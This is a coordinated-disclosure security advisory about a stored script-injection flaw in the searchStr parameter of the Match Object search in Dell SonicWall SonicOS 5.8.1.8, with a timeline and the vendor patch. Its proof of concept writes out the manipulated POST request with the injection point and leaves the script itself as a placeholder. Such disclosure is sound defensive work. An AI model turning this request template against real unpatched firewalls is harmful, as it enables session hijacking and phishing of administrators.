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======
SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability
Date:
=====
2012-12-18
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=769
DELL Sonicwall Bug ID [DSBID]: 123995
VL-ID:
=====
769
Common Vulnerability Scoring System:
====================================
3.5
Introduction:
=============
The Dell® SonicWALL® Network Security Appliance (NSA) Series combines the patented Dell SonicWALL Reassembly
Free Deep Packet Inspection™ (RFDPI) engine with a powerful and massively scalable multi-core architecture to
deliver intrusion prevention, gateway anti-virus, gateway anti-spyware, and application intelligence and control
for businesses of all sizes. By integrating automated and dynamic security capabilities into a single platform,
the NSA Series provides comprehensive Next-Generation Firewall protection without compromising performance.
(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/NSA_Series.html)
Abstract:
=========
The Vulnerability Laboratory Research Team discovered a web vulnerability in the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application.
Report-Timeline:
================
2012-11-18: Researcher Notification & Coordination
2012-11-20: Vendor Notification
2012-11-20: Vendor Response/Feedback
2012-12-04: Vendor Fix/Patch (SonicOS 5.8.1.9)
2012-12-18: Public Disclosure
Status:
========
Published
Affected Products:
==================
DELL
Product: Sonicwall SonicOS v5.8.1.8
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
A persistent POST Injection (input validation) vulnerability is detected in the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application.
The vulnerability typus allows an attacker to inject via POST request own malicious script code in the vulnerable module on application side (persistent).
The vulnerability is located in the Firewall > Match Object> Edit Match Object section when processing to request via the `Search > appFirewallObjects`
module the bound vulnerable [searchStr] application parameter. The persistent injected script code will be executedout of the searchstr name listing
web application context.
The bug can be exploited with a low (restricted) privileged application user account and low required user inter action. Successful exploitation of
the vulnerability result in persistent session hijacking, persistent phishing, external redirect, external malware loads and persistent vulnerable
module context manipulation.
Vulnerable Section(s):
[+] Firewall > Match Object> Edit Match Object
Vulnerable Module(s):
[+] Search > appFirewallObjects
Vulnerable Parameter(s):
[+] [searchStr] - Name Listing
Proof of Concept:
=================
The persistent post injection vulnerability can be exploited by remote attackers with low privileged application user account and
low required user interaction. For demonstration or reproduce ...
Review: appFirewallObjects > searchStr
csrfToken=benjamin1337
inputxml=<dbInfo><dbInfoRequest><pageId>appFirewallObjects</pageId><tableType>157</tableType><viewType>table</viewType>
<cmd>get</cmd><sort>false</sort><searchStr><[PROVOKE EXCEPTION]>%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]")
<</searchStr></dbInfoRequest></dbInfo>
--- POST REQUEST FULL (MANIPULATED!) ---
Host=realtime.pentest.server.com
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept=application/json,
text/javascript, */*
Accept-Language=de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding=gzip, deflate
DNT=1
Connection=keep-alive
Content-Type=
application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With=XMLHttpRequest
Referer=https://realtime.pentest.server.com/appFirewallObjects.html?
sortCol=1&sortInverted=0.html
Content-Length=475
Cookie=__utma=31673917.1419029853.1353291737.1353291737.1353374336.9;
%3FsortCol%3D1%26sortInverted%3D0.html;
curUsr=; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0;
1044=0; 1045=0; 1022=true;
1007=applFolder; 2103=appFolderId
Pragma=no-cache
Cache-Control=no-cache
POSTDATA=csrfToken=benjamin1337&inputxml=
%3CdbInfo%3E%3CdbInfoRequest%3E%3CpageId%3E
appFirewallObjects%3C%2FpageId%3E%3CtableType%3E157%3C%2FtableType%3E%3CviewType%3Etable%3C%2FviewType%3E%3Ccmd
%3Eget%3C%2Fcmd%3E%3Csort%3Efalse
%3C%2Fsort%3E%3CsearchStr%3E%3C-'%20[PERSISTENT INJECTED SCRIPT CODE!])+%3C%3C%2FsearchStr%3E%3C%2FdbInfoRequest%3E%3C
%2FdbInfo%3E
Reference(s):
https://firewall.127.0.0.1:31337/dbselect.cgi
https://2400mx.127.0.0.1:31337/dbselect.cgi
Solution:
=========
The vulnerability can be patch by parsing the name listing searchStr web application parameter request.
2012-12-04: Vendor Fix/Patch - Update or Upgrade your Sonicwall SonicOS v5.8.1.8 to v5.8.1.9 [Customer Area].
Risk:
=====
The secuirty risk of the post injection web vulnerability is estimated as medium.
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
Disclaimer:
===========
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